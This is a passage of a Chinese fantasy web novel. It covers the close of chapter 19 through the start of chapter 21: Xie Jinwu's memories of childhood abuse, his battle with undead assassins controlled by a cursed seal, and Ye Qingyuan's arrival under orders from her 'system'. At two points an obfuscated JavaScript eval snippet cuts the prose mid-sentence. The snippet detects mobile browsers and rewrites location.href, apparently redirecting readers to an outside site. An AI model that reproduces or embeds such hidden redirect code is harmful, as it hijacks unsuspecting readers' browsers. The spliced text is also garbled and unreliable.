谢尽芜将这谩骂声听在耳中,却并不感到恐慌。 他对生死没有认知,也不觉得活着就一定好。女人的嗓音尖锐,怒斥威胁炸在耳边刺痛耳膜,但对他而言却无关痛痒,风吹落叶般传不到他的心里,很快就汇入呼啸的雪中不见了踪迹。 他只是茫然而懵懂地闭着眼,浑身虚脱般无力,心中也空荡。仿佛整颗心被人血淋淋地剜去一块,又随意丢掉。 他究竟丢了什么呢? 雪停的时候,谢尽芜终于头痛欲裂地睁开了双眼。 窗外正夕阳,熔金般的日光照在微微起伏的雪地上,院子里传来簌簌的踏雪声。女人推开门,一眼就瞧见了躺在床上的谢尽芜。 他仍然虚弱,脸颊泛着病态的微红,一双眼眸乌黑漠然,干净得像是雪山深处不为人知的一泓冷泉。转过来看人时,仿佛能直接看进人的心里。 女人的目光蓦地触到他那双眼睛,心中登时悚然一惊。 她望着床榻上大病未愈的孩子,压下心头的不安,唇边缓慢凝起一抹讽刺的微笑:“醒了?” 木窗漏风,谢尽芜冷得细细发着抖,可怜极了。 女人却视而不见,仿佛巴不得他再病一场,直接病死算了。 “你知道该叫我什么吗?”女人走过去,居高临下地俯视着他。 谢尽芜看着她的眼睛,嗓音是久病后的沙哑:“……楚姨。” 楚姨哼笑一声:“亏你还没病糊涂。” 下一秒,她冷下声音:“你什么都不会,年纪又小。除了生得好看,会写几笔字之外,一点过人之处都没有。要是因为这一场高烧把脑子烧坏了,我真的只好将你卖去做苦力。” “你知道那是什么吧?”楚姨低声,“你觉得我心狠是不是?可这世道就是这样艰难,若你自己不想办法变强,别人带来的痛苦就会逼着你变强。” “我和青松不可能护着你一辈子的。你这么个什么都不会的拖油瓶,除了给我们带来麻烦之外,还能有什么用处?就算把你卖去码头给人搬货干活,就凭你现在的年纪和身板,能值几个钱?还不如去花楼里伺候人,过几年长开了还能做小倌!” 谢尽芜咬紧牙关,辱骂的话语穿耳而过,识海里的剧痛却让他的眼眶中聚满了泪水。 莹莹的一滴泪,沿着浓秀的睫毛落下。 既然恨不得他去死,当初又何必大发慈悲救下他呢? 谢尽芜的喉咙滚了滚,满口都是充满铁锈味的血腥气,他颤抖着嗓音,不理会她的恶意与威胁:“我的东西呢?” “你的东西?”楚姨嗤笑,眼中充满了嘲讽。 “你答应过我的,只要我为你摘来冰凌花,就把那条吊坠给我。” 谢尽芜的手指颤抖着捏紧了被角,此刻他的神色却惶急起来,眼中流露出恳求之色:“我给你摘了好多呢!你……你是大人,不可以言而无信的!” 楚姨翻了个白眼:“你病了三天,这三天不是老娘费心照顾你吗?我不跟你要钱就不错了,你还要什么吊坠?那东西是姑娘家才戴的,你拿去做什么?” 谢尽芜急切道:“那是……那是……” 是什么呢?想不起来,脑海中的记忆仿佛被清空一般。 “怎么?”楚姨皱着眉头,冷笑一声,“真要拿去送姑娘啊?” “不是!那……那是对我很重要的东西。”谢尽芜的脑中一片茫然,胸口也烦闷得很,仿佛有什么东西呼之欲出,却又被他遗忘了。 楚姨看到他什么都想不起来的样子,真不知是该高兴还是气愤。 她从床头竹竿上取下手巾,擦桌子般在他布满薄汗的脸上抹了一下,嘲讽道:“我早就说过,你这样没心没肺的小东西,丢出去喂狼正好!要不是……算了,不说了!” 她手劲很大,手巾的布料粗糙,谢尽芜的脸颊顿时红了一片。 他小声问:“我的吊坠呢?” “行了行了,给你便是。” 她翻了个白眼,转身从妆匣里取出那条栀子花样式的白玉吊坠扔到他怀里,然后头也不回地离开,“当初就不该答应小姐。哪天若真是被你害死了,才是我活该。小害人精……” 嗓音陡然提高:“病好了就别在床上装可怜!快起来写春联,明早哑巴还要拿去集市上卖呢,年底了若是都赚不了银子,你这臭小子就等着喝西北风吧!压岁钱更是想都别想……” 谩骂的声音逐渐远去,随之是木门“咣当!”一声被用力关上的巨响,震得檐角积雪簌簌坠落。 谢尽芜却恍若未闻,一双被雪水浸润般清透漂亮的黑眸闪着细碎的光。 他低下头,连呼吸都在颤抖,珍而重之地将吊坠捧在手心,握紧了抵在额心,像是无声的祈求。 - 花草树木间起了一层雾,温度也比白天降了许多。菱花木窗没有关严实,丝丝缕缕的寒意溜过缝隙钻进来,窗外夜幕上一轮弯月隐约,清辉泼洒。 谢尽芜半阖着双眼,一双眸中流淌了涣散的星光。 夜深之际,忽然梦起年少时的往事,这不是个好兆头。 温润的触感似乎还停留在手心,他右手握紧,却握了个空。 心口又开始泛起刀剑戳刺般的痛楚。邪印在他陷入深沉的梦境中、无法脱身之际趁虚而入,借助钻心彻骨的痛楚削弱、瓦解他的意志,妄图在他痛到失去理智时,控制他的心神。 正如往常无数次那样。 他深吸一口气,对体内逐渐苏醒的剧痛感到疲倦。 屋内并未燃灯,唯余一缕清辉穿过木窗照进来,洒下朦胧的光。 撕裂筋脉般的痛楚像是翻涌的潮水,不过几息之间,便已蔓延至四肢百骸。 谢尽芜咬着牙,喉咙翻滚了一下,忍住手指的颤抖挣扎起身,额头的冷汗凝聚,沿着脸颊滑落,拖出一道流利的弧度。 或许是察觉到了他此刻意识的薄弱,邪印带来的痛楚忽然前所未有地剧烈。他的喉咙滚了滚,唇角溢出些细碎的、被刻意压低的喘息声。 痛到极致,谢尽芜的意识甚至有些恍惚,脑海中反复地浮现栀子花吊坠的模样。 是什么呢?他年少时拼了命也要讨回的吊坠,无论日夜都要紧贴在心口的栀子花,分明每次触碰它带来的唯有痛苦、挣扎,分明他对栀子花是如此厌恶,可他仍不舍得丢弃那条吊坠。 他至今不懂那到底属于谁。 只是每次在窗外孤月高悬的时候,脑海中都会反复浮现一个场景。 温润的白玉泛出莹莹的、朦胧的光,比中秋时节悬挂在天际的圆月还要漂亮。 年少时的谢尽芜睁大双眼,黑曜石般的眼瞳中闪烁着笑意,郑重其事地从一双手中接过吊坠。 那是一只女人的手,手腕净白,手指纤长,肌肤细腻光滑,指甲不染丹寇,在皎洁清辉下泛出浅淡的粉色。 女人逆着月光站在一株枝叶繁盛的梨花树下,白底描金的衣袖搭在霜雪般的手腕上,轻纱如雾随风摆动。 柔嫩的手心轻柔地抚摸着他的头顶,又亲昵地捏了捏他的脸颊,而后收回手。 她的袖中传来隐约的槐花香气。 “这条吊坠今后就是你的了,喜欢吗?” 谢尽芜抬起眼,朦胧模糊的梨花树下,月轮的光影变幻,他却看不清女人的相貌。 唯见她一身白底描金的长袍,衣领处绣制青鸾振翅,金浪泼天。 他的唇动了动,心底涌上一股冲动,控制不住地想要开口唤她。他想说好,想说他很喜欢,他还想要她再摸一摸自己的头,像是小时候哄他入睡一般。 他张开两只手臂,婴儿学步般笨拙地想要扑过去拥抱她。 女人笑起来,好温柔。谢尽芜听见自己开口唤:“阿娘……” 下一瞬,肩头却传来一股大力阻止住他的动作。女人站起身,衣袖随风摆,瞬身后撤。 冰冷的寒意从肩头传来,他宛如被钉在原地,浑身僵硬,不得动弹。 耳边传来低沉的笑声:“叫吧,叫吧,只要你敢叫出口,不出片刻,她就会被你克死的!” 他蓦地变了脸色:“不是,不是的。我不会克人。你在胡说!” 那道声音毫不留情地嘲笑:“不是?别自欺欺人了!你这般天煞孤星的命格,生下来就是祸害,自己找个深山野林自尽最好!有什么资格做这种母慈子孝的春秋大梦,难道还妄图有人能陪在你身边,永远陪着你吗?哈哈哈,可笑,真是可笑!” 谢尽芜不住地摇头,眼瞳中霎时满是恐惧。那人说的每一个字都好像是刀剑用力戳在他的心口,叫他痛得钻心彻骨。 恰在此时,手心忽地传来濡湿黏腻的感觉,有什么温热的液体正从指缝漏下去。他低下头。 那朵栀子花的白玉吊坠不知何时竟已变了颜色,鲜红的血液从玉璧上缓缓渗出来,凝成血珠,滚落到他的手心,又从指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445931|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝漏下去,蜿蜒地滑落至他的手背、腕骨,滴滴答答溅入草丛中。 他的整只手都染了血,红得刺目。白玉吊坠亦被鲜血浸透,像是从血池里捞出来。 一瞬间,谢尽芜脸上的血色褪了个干干净净。他惊恐地睁大双眼,踉跄着后撤一步。手腕脱了力,白玉吊坠裹着殷红的血珠砸进松软的草地,瞬间被浅草埋没。 漆黑的眼眸中凝聚出泪水,他抬起头。梨花树下的女人收回手,白底描金的衣袖伴着微风逐渐消散。 明月冷冷照映下,唯有花影摇曳。 “看到了吗?谁遇到你谁倒霉呀,你就不该与任何人有牵绊。” 那道声音混着无数人的哭喊,一段是女人一段是小孩子的嗓音,带着幸灾乐祸的笑意:“他们都会被你害死的哦。” 谢尽芜站在树下,痛苦到极点,心里陡然生出了恨意,一滴泪从眼尾滑落:“你该消失了!” - 寂静、昏暗的房间内,黑色的浓雾沿着桌椅和窗棂迅速攀升,在谢尽芜的身前缓慢地凝聚成一团漆黑、不规则的实体。 伴随着叹息似的笑声,黑雾如海浪翻涌,几支黑色羽毛掉落在地板上。 与此同时,谢尽芜的右眼尾开始长出细碎的、黑曜石般闪耀的晶体,与他的长眉呈现同样的走势,斜斜地飞到鬓角里去。 他垂下眼睫,喘息声带着颤抖,神色疲累不堪。 原本清澈纯净的眸中泛起细小的血丝,嘴唇与脸上的血色刹那间褪尽。 他淡声问:“你想让我再杀你一次吗?” 黑雾嚣张且癫狂地笑道:“你杀呀!你杀得了我吗?别忘了我可是依附于你的恶念而生的,只要你还有一口气,我就不会消失!反倒是你娘留给你的灵力会不断消耗殆尽,你若舍得,就来啊!” 它狂笑,前半段还是男人低沉的声音,后半段就变得柔媚起来:“别再妄想借助法印止痛了,非要弄到五感尽失,你才肯承认你的方法没用吗?” 窗外的晚风挟着清浅的花香,幽幽地吹进来,拂动谢尽芜额前垂落的碎发。 他闭着眼,眉心紧蹙。 谢尽芜七岁那年听到了这些声音。 声音不固定,有时是沧桑的老人音,有时是清脆的少女声,有时还有小孩子的哭闹。 与此同时,他的脑海中多出了许多记忆片段。 灯火长龙的雪山村镇里,红梅绽放,人们提着彩灯,笑呵呵地庆贺着什么。穿着冬衣的小孩子们捧着糖块,哈哈笑着去追彩灯的队伍。 一只白鹤伶仃立在后山的深黑岩石上,沉默地守护着人们的幸福与安康。 谢尽芜完全不认识这些人。十二年过去,他也不曾查到这座雪山村镇到底在何处。 一段凭空多出来的记忆,每次回忆到的时候,心口总传来闷痛。 他感到痛苦的时候,邪印的声音也恰好响起,颤抖着嘲讽他,骂他无知、冷漠,荒唐透顶。 在他一次又一次的痛楚后,邪印仿佛也生出了自我意识,甚至可以吸引怨念和冤魂,逐渐强大。 谢尽芜快要压制不住邪印的力量了。 修长的指节按在桌上长剑,谢尽芜薄唇微启:“你说得对。每次都依赖法印麻痹心神无异于饮鸩止渴,以此止痛并不是个长远的办法。” 黑影颇为有兴趣:“要开打了么?很好!我也很久没有活动过筋骨了。” 谢尽芜轻哼一声,抬起眼眸的同时,抽剑出鞘! 只听“铮!”地一声清锐剑鸣,黑影尚未反应过来,磅礴的剑气忽然正中它的面门,浓雾中噼里啪啦燃起火星,压倒性的剑意爆发,木窗“砰!”地一声被撞开,整团黑影霎时被剑意逼出窗外,如断线风筝一般直直跌落在河岸边的草地上。 窗外梨花枝随狂风乱颤起来,抖落簌簌的花叶。 谢尽芜持剑纵身,足尖一点窗棂,借力而出。宽大的衣摆裹挟着飞花落叶,宛如白鹤稳稳落在黑影身前三丈远的地方。 黑影被他一招激怒,纵声咆哮着挣扎,狠狠撞在河岸边栽种的花树上,花树轰然倒塌,花落如雪扬,河水亦被强大的威压震得溅起水花。 “邪印发作对你没有影响了吗?为何你出剑还是这么快?”黑影悬在草地上,浓雾翻涌,火星四溅,“我不相信你现在感受不到痛楚。” 谢尽芜垂眸,指尖仍旧残存着莹蓝色的灵光。 掌中长剑剑意嗡鸣,雪亮的剑光与皎洁的清辉遥遥相映,照在他微敛的眉间。 “哈哈哈!原来又是在用法印止痛,你竟沦落至此啊!”黑影忽地癫声狂笑起来,“我早告诉过你了,最好的办法就是杀掉那个女人,取出本命珠。这对你来说没什么吧?不过是一条人命而已嘛!别忘了你可是天煞孤星的命格,受你连累丢掉性命的人还少吗?早就不差这一次了!” 莹蓝色的光芒倒映在谢尽芜清透的眼潭中,他的眼中忽地闪过疯狂的神色,却很快被压抑了下去。 黑雾不依不饶道:“那条吊坠你也不要啦?是很贵重的东西呢,虽然你也不记得那是什么了。” 谢尽芜提剑持于身前,剑光凝澈,笼罩着莹莹的清辉光芒,映在他冷冽疏离的眉眼。 “先解决你。” “嗯?好啊。”话音落下的瞬间,无数道瘦长、狰狞的影子自黑雾里钻出来,猩红的双眼直直盯着谢尽芜。 黑影五指张开,锋利的指尖在月下泛出金属般冷冷的光,尖锐的足尖踩在松软的草地上,很快便塌陷了一个个泥坑。 黑影瘦长得过分,身上披着的黑色长袍破烂得不成样子。垂坠的布条在手臂、肩膀处垂挂着,在夜晚的微风中轻摆,繁复的银色符咒在月光下一闪而逝。 他们一动不动,瞪着狰狞的双眼,死死地盯着青石砖道上持剑而立的清俊少年,极高却极细瘦的身体在月下无比的森然冷漠,像是孤寂墓场中林立的石碑。 20. 第 20 章 悬浮在最后的邪印低声笑道:“希夷死士,希夷殿培养百年的杀伤性最大的利器——当然,它们在谢二殿主面前还称不上最强。不过,有了符印的加持,可就未必了。谢尽芜,你做梦都没有料到它们竟会为我所用吧?” 谢尽芜的神情没有任何波动,眼中甚至现出了一丝厌恶:“你对他们的魂魄动了手脚?” 邪印笑道:“是啊,这样他们的杀伤性不就更大了?” “反正这些人当年在希夷殿也是死士,地位低得还不如一把刀。也就谢二殿主你才会想着照顾他们了。”邪印做作道,“除夕夜,你自己都无处可归了,竟还会用俸禄去买饺子分给他们吃!哈哈!好善良呀!” 邪印生长在他的识海中,早已清楚地看到了他的所有记忆。 邪印的声音忽然冷了下来:“可是有用吗?!谢尽芜,后来对你展开追杀的人,不也是你的这些昔日同僚吗?我问你,你的善心可曾为你带来半点好处?” 死士们只听从老殿主的命令。 谢尽芜将他们诱到一处人烟稀少的密林中,在幽暗的月色下,将这些死士全部杀了。 古木断折,遍地剑痕与鲜血。 谢尽芜自始至终连眉头都不曾蹙一下。他甩去剑上血珠,头也不回地离开。 客栈外,河岸旁。 “但这也不是你折辱他们的理由。” 谢尽芜阖上双眼,不再刻意压抑周身的灵力,银制护腕锵然一声挣脱,周身气劲忽地暴涨,霎时搅动狂风大作,压倒性的威压逼得河边死士齐齐后撤半步。 死士们肩头垂下的符印暗纹闪烁明灭,如得了攻击的指令一般,浑身爆发出巨大的力量,一闪身便逼近谢尽芜身前不远处。锋利尖锐的五指举起狠狠刺出,眼见就要刺入他的肩胛骨。 谢尽芜提剑格挡,手背青筋一瞬暴起,靠着腰背的力量硬生生挡住并逼退了四条死士的攻击冲力,继而长剑一瞬撤离,目光落在四条死士裸露在外的惨白喉咙上,手腕翻转,长剑漾出冷凝澄澈的杀意,一剑劈斩而出! 染了花香的晚风中,一瞬寂静,四只死士的喉管一齐被搅碎,却感不到痛楚般毫不收势,妄图再进一步伤害谢尽芜。 谢尽芜迅身后撤,袖摆鼓起,剑穗飘飞。 死士们喉咙处迸发的浓腥的黑血在风中拖出四道墨迹淋漓的笔划,像是坟茔之中高悬月下的黑色招魂幡。 死士们的身体终于僵住,猩红的双眼逐渐暗淡下去,脑袋也垂下来。五指却维持着张开的姿势,指尖锋利的刀尖闪着寒光,苍白的喉咙皆被开了道大口子。浓墨一般的血泼洒在地面上,又立刻蒸发殆尽。 冷凝的长剑沾染了浓墨般的血,血珠沿着剑身缓缓滑落。 谢尽芜眉目淡然,用力一甩长剑,血珠在青石砖道溅出一道利落的痕迹。 他的目光落在河边的黑雾:“若我是你,绝不会将它们的致命弱点暴露在外。” - 河岸边草浅露重,雾气打湿了叶清圆的裙角和鞋面。 孤月清寒,刚走到客栈所在的那条小巷,叶清圆就嗅到一股晚风送来的、浓腥到令人忍不住干呕的腐烂血腥之气。 她有点恶心,忙不迭捂住口鼻,猛然发觉不远处客栈前面竟浓雾遮天,刀光剑影,立刻谨慎地顿住了脚步,左右望了望,寻到河岸边一株尚且称得上粗壮的柳树后躲了起来,只露出一双瞪大的眼睛,观察着前方的情况。 数不清的细竹竿似的黑影围聚在河边,墨色的浓雾弥漫整条河道,黑影们手中锋利的刀光在月下亮得刺目,它们似乎准备采用“人”海战术,浪潮般一波又一波攻向对面负手而立的一道身影。 叶清圆定睛一看,客栈前,那人一身玄衣,腰背挺拔,站在繁花开遍的梨花树下,浑身气质丝毫不受旖旎的灯光影响,满是不近人情的肃穆与冷漠。 谢尽芜怎么会在这,还与一帮黑衣人打上了? “叮!请宿主把握时机,在黑影死士的包围下,救出攻略对象【谢尽芜】,提高该角色对宿主的好感度。” 叶清圆顿时瞳孔剧震。 什么?我? 纤细的手指指向自己的脸。她没听错吧? 系统机械冷漠的声音再次响起:“系统将会在合适的时机为宿主创造条件,帮助宿主推进任务,攻略谢尽芜。” 叶清圆震惊地回想起,确实是有这么个任务。当时她还觉得这个系统终于有点人性化了,懂得为宿主提供便利。 但是这个时机把握得是否太过随便! 让她在那群不知是人是鬼的黑影手中救出谢尽芜,简直离谱到好笑。 “系统,你觉得就现在的战况,有我出手的余地吗?” 无数黑影争先恐后地涌向谢尽芜的身前,锋利尖锐的手指裹挟着寒光,直冲冲地朝着他的天灵、喉咙和心口攻去,完全是要置人于死地的杀招。 而谢尽芜始终神色沉静。他手中长剑薄而轻,月下清澈得宛如一泓寒光,剑势变幻莫测,灵压汹涌如江河倾泻而下,劲气激荡,不过瞬息之间,数十道森然而立的黑影就被逼得不住后退,刻满符咒的黑色衣带也被剑势割断,随风飘落。亮银色的繁复符咒光芒一闪,逐渐黯淡下去。 与此同时,谢尽芜神色微敛,眼中流露出一抹痛苦之色。 系统似乎也觉得这是个不可能完成的任务,补充道:“宿主请尽力一试,尽力即可。” 好的,试试就逝世。 天选打工人叶清圆悲催地思索解决办法,最终还是从荷包中摸出符纸,同时咬破指尖。 除了用符咒,她还真没别的办法。 黑影群中为首的那个身形最为巨大魁梧,连手中锋利的尖刀都要更长几分,在月光下闪着慑人的寒光。 它上前几步,右手随意挥动,看似毫不费力的一招,身旁一棵粗壮柳树顿时被拦腰截断,轰然倒塌! 叶清圆瞪大双眼,目光看了看自己身前用来掩蔽的这株柳树,顿时欲哭无泪。 河岸边,那团黑雾依旧翻涌:“为什么收剑?不肯杀这些死士?” 谢尽芜强忍着胸中翻涌的不适,面容平静道:“太过残忍。” 黑雾静默了一瞬,继而哈哈大笑起来:“你?这天下还有你觉得残忍的事?可笑!” 话音落下,蓄势待发的黑影们当即一拥而上,踩着刀尖的足踏在砖道上发出刺耳尖锐的声响。为首那个黑影高举右手,刀锋自上而下朝着谢尽芜的天灵下劈而去,出手即杀招。 谢尽芜侧头避过,下一秒掌心凝聚灵力狠狠拍在黑影的心口! 轰然一声爆响过后,黑影的胸膛被他一掌打穿,心口处当即空出一个洞。谢尽芜攥住它的手腕,用力一扔,死士整副骨架般的身躯也随掌力踉跄着向后撤去,庞大的身躯撞向了它身后一群奔袭而来的黑影,哗啦啦撞倒了一片! 谢尽芜分毫未停,手腕微动,动作迅疾地掐住了旁边黑影的喉骨。 他的手劲极大,一只手掐着死士的喉管直接将它提得双足离地。威压搅动的气劲带动狂风漫卷。黑影头上的兜帽哗地被风掀起,月光泼洒而下,露出它皮肉腐烂、白骨嶙峋的脸和一双猩红狰狞的眼。 恶臭的腥臭味瞬间弥漫了整条长街,叶清圆躲在树后,被这味道熏得差点吐出来。 谢尽芜不闪不避地与它对视,眉目间不仅没有丝毫厌嫌,反倒有种挥之不去的悲意。 他的薄唇微动:“与其这般神识被控,出卖一切屈居恶徒之下,不若就此消散,复归天地。他日若功德圆满,未必不能在轮回盘上重修一世。谢某恭送诸位同僚一程。” 话音落下,五指蓦地收紧,手背青筋暴起,只听“喀!”的一声爆响,他竟是硬生生掐断了黑影的喉骨! 黑影那骨架般精瘦的身躯登时塌陷,像是被捆绑在一起的金属棍,失了支撑束缚便立刻零散下来,发出重响。肩头衣带上刻印的银色符印也逐渐暗淡。 谢尽芜捏住它断掉的喉咙,将它整个身躯用力向前方一扔,击退了随之奔来的黑影们,在蚁潮般密不透风的包围圈中打出了一片空地。 他上前一步,面朝月光。净白修长的手指点在虚空,却仿佛是一支蘸了朱砂的笔点在符纸上,空气霎时隐隐震颤、波动起来。 他的手指微动,划出流利又神秘莫测的弧度,指尖所过之处,亮起纯澈的金色光芒。 叶清圆睁大了双眼——五雷符! 谢尽芜不是邪修吗?按照原书设定他可是学了一身的歪门邪道啊,怎可能会画点灵世家最高阶的雷符,还是根本不需用到符纸的指空画符! 大反派,你到底还有多少惊喜是我不知道的? 谢尽芜垂着眸,神思凝聚。符咒每画出一笔,手腕处萦绕的灵力便更磅礴凌厉几分,隐隐有雷电之力缠绕在他的指尖。 在他所站立的地方,以他为中心延伸至十丈远的位置,一道刻满法符的大阵也缓慢成型、运转。 符印最后一笔落下的瞬间,谢尽芜周身的气劲翻涌激荡如狂风大作,乌黑的发与衣摆在风中飞扬起来。 他一身威压陡升,站在阵法之内的几道黑影竟已承受不住,膝盖被山石般庞大的灵力硬生生压弯,“砰!”地一声跪在了地上! 谢尽芜薄唇微动,口中默念法诀完毕。手掌一翻,无数道金色的雷光霎时从天而降,雷火四溅,尘烟滚滚,涌动的黑影尚且来不及抬头,就被这至刚至阳的雷鸣击得身躯碎裂成齑粉,当场随风消散。 叶清圆躲在树后,震惊到极点,表情甚至出现了一瞬的茫然。 她的手心里还攥着一张刚画好的雷符,专门滴了三滴指尖血,可以发挥出更大的威力。 凭她现今的灵力,这一张法符预计可以炸掉六个黑影左右。 而谢尽芜一招指空画符,眨眼间就将十倍数量的黑影打到灰飞烟灭。 雷击的威压巨大,裹挟着河岸的花树亦簌簌震颤不止。 大约一刻钟之后,烟尘才逐渐散去,纷落的梨花雨中,谢尽芜显出身影。 他依然是眉眼平淡如水的模样,周身气势却有种剑拔弩张的凌厉。净白的脸颊在皎洁的清辉下,在凌乱的花雨中竟奇异地显出些许秾丽。 法阵仍旧在运转,隐约雷鸣之声。系统再次提醒道:“请宿主加快任务进度,在黑影的包围中救出谢尽芜。” “请宿主加快任务进度,在黑影的包围中救出谢尽芜。” 入耳魔音一般的提示声在脑海中回荡,叶清圆一咬牙,不管了!手指捏紧了符咒,直起身从藏身的柳树后绕了出来。 鞋子踩在松软的浅草地上,发出沙沙的摩擦音。 谢尽芜闻声,移目看过来。 高大瘦削的黑影们察觉到陌生的气息,也转头“看”向她。 于是,本来剑拔弩张对峙的气氛,就这么被叶清圆的突然出现给打乱了。 她社恐得浑身都起了鸡皮疙瘩,在几十双“眼睛”的盯视下,硬着头皮走了出来,尴尬程度堪比全校开会时想要偷偷离席却被校长当场点名关怀。 “什么味儿?我怎么闻到了本命珠的味道?” “就是本命珠!”那团黑雾像是嗅到食物的猎狗,一看清她的脸,立刻兴奋了起来,浓雾不停地翻滚涌动着,克制不住的杀意在空气中弥漫。 它本是一团浓雾虚无缥缈,却轻易叫人感觉到它满是威胁与贪念的目光,如有实质,“谢尽芜!猎物上门了,你还不杀吗?” 猎物? 叶清圆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445932|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指捏着一张画好的符纸,一双明亮的眼眸定定瞧着谢尽芜。 出乎她意料的是,谢尽芜却不丝毫理会黑雾的叫嚣,望向她的目光中没有半分讶异,仿佛早就知道她躲在树后观察着这一切。 他的眉目微敛,眼中还有尚未消去的戾意,看向叶清圆的目光冷得让人不寒而栗。 黑雾急切得快要甩尾巴:“你不是一直想拿回本命珠吗?谢尽芜,别忘了你的目的!快杀了她!” 叶清圆扭过脸去瞪视着那团黑雾,眉心蹙起,眼中浮起一点愠色:“你别在这里挑拨离间!” 黑雾:“啊?我?” 浓雾翻涌,黑雾低沉的声音透露出不可置信:“不是,我、你们,我怎么成挑拨离间的了?” 谢尽芜的目光始终没有从叶清圆的脸上离开。 他微垂着眼,那双黑曜石般漂亮深沉的眼眸中,此时盛满了冷漠与疏离,真如溪底冷石,不带温度。 他淡声问道:“你来干什么?” 叶清圆才不会在乎他的态度,笑道:“我啊,我当然是来帮你打退这帮怪物了。” 谢尽芜打量她半晌,唇角突然扯起一抹弧度,眼中却隐约嘲讽,似乎是觉得她的话太过不自量力。 系统的提示音在脑海中响个不停,叶清圆抱着破罐子破摔的心态,笑道:“谢公子,这些黑影都不像是人,为何不想办法把它们都超度了呢?” 谢尽芜偏过头,像是不太想回答她。 叶清圆眨眨眼:“嗯?” 黑雾莫名地笑了声:“哈哈,可爱。” 谢尽芜冷冷看了它一眼,这才道:“他们生前所犯罪孽罄竹难书,死后魂魄才会被拘,须在希夷殿服役百年,待到功过相抵之时,方可重入轮回。” 叶清圆头脑极其聪慧,一点就透:“然而它们现今已经被这团黑雾控制住了,无法再将功抵过,也就失去了被超度的机会,对吗?” 谢尽芜的眉梢讶异上挑,轻轻颔首。 “这团黑雾还真是坏事做尽啊。”叶清圆说,“谢公子,让我来对付它吧,我有办法让它消失。” 谢尽芜垂眸看她,半晌后终是点了头。 他右手负在身后,掌心却逐渐凝聚了灵力,准备在叶清圆出招失败之后,迅速补刀,一击消灭剩下的黑影。 叶清圆没有注意到他的动作,只是扬起脸,很认真地说:“有时候想要击退敌人呢,并非一定要杀死他们,可以有别的方法。” 手指拈起那张符纸,叶清圆凝神聚气,快速地默念法诀完毕,指尖向着墓碑般森然伫立的黑影们一点:“出入无间!” 话音落下,黑影肩头垂挂的符箓齐刷刷颤动起来,簌簌声在风中响起宛如万千枯叶一齐拂过青石砖,钢铁般细瘦坚硬的身躯也不断摇晃着,仿佛在被一股强大的吸力拉扯,来不及眨眼的瞬间,在场将近半数黑影竟都消失了干净! 月光澄明,青石小巷终于恢复至原本的静谧。 叶清圆睁大双眼,看那张穿山透壁符被火苗烧得蜷缩起来,她松开手指,让符纸在微风中化作灰烬。 这张符咒的威力也太大了!难道是系统在暗中帮忙吗?是吗?是的吧! 骨节分明的手顿在半空,指尖的莹蓝火焰霎时熄灭。谢尽芜的眉很轻地挑了一下,颇有些意外:“反用穿山透壁符,怎么想到的?” 叶清圆还是小孩子心性,从他的话中听出了赞赏的意味,立刻得意地笑起来:“临场应变呀,我厉害吧?” 她一笑起来真是生动极了,那双漂亮的眼更显得端丽明艳,眼头勾圆,眼尾飞扬上挑,天然三分媚意。 可她的眼神却青涩纯澈,脸上也未施粉黛,一张素面干净莹润得像是凝结了露水的梨花瓣。两种堪称矛盾气质撞在一起,竟叫她透出一种青涩却微甜的气息,既让人生不出什么旖念,却又移不开眼睛。 谢尽芜意识到自己的失礼,匆忙别开了脸,颇为头疼地闭了闭眼睛。再睁眼时,眸中又是一派冷淡:“一般。” 叶清圆琢磨了一下这个回答,觉得谢尽芜这样的人能说出“一般”也堪称难得。 远在河岸边的黑雾有些摸不着头脑,他们交谈的声音被晚风与花树阻隔,传过来后显得有些模糊,只听出那姑娘的声音隐约带着笑意,却不太清楚说的是什么。 黑雾出言嘲讽:“愚蠢的女人!扰人兴趣!” 谢尽芜叹了一口气,噩梦与打斗让他有些疲倦,叶清圆的中途捣乱又让他没兴趣再打下去,他收剑入鞘,淡声道:“你回去吧。” 黑雾颇为不赞同地埋怨道:“不行,不能让她回去!必须要给这女人一个教训,叫她好好地吃些苦头!” 谢尽芜眉宇间的烦躁都要藏不住了:“我说让你回去。” “什么?我?”黑雾一瞬间愤怒至极,各种声音混杂着怒骂起来,“谢尽芜你个小没良心的……” 话音未落,谢尽芜耐心耗尽,手腕翻转,掌心灵力明灭恰似天幕月轮。 与此同时,黑雾突然极为剧烈地翻涌起来,仿佛在痛苦地挣扎着。 灵压磅礴如浪灭顶压下来,狂风漫卷花雨与绿叶,围绕着黑雾逐渐凝聚、翻涌,越来越快,像是濒临爆发时的抵死挣扎。几息之后,“哗!”地风声响起,整团黑雾爆开,邪气就此消失无踪。 漫天花雨纷乱落下,青石街的地面很快覆盖了薄薄的一层白,像是下了一场浩大而静谧的雪。 初夏的夜晚寂静,唯有微风拂动花枝的细微声响。 叶清圆的视线始终落在谢尽芜的脸上,借着月光,她清楚地看到,他的眼尾似乎长着一道黑亮的东西。 而随着黑雾的消散,那一道“鳞片”亦就此隐去,薄薄的肌肤上,唯余一道红痕仍在。 21. 第 21 章 叶清圆仰着脸,端丽的眼眸中满是惊讶与好奇,却抿着唇,没有发问。 “是邪印带来的副作用,只有发作时才会显现出来。”谢尽芜垂眸与她对视,“吓到你了吗?” “没有。”叶清圆皱皱眉,眼中流露出关怀的神色,“我只是在想,它从脸上长出来的时候,会痛吗?” 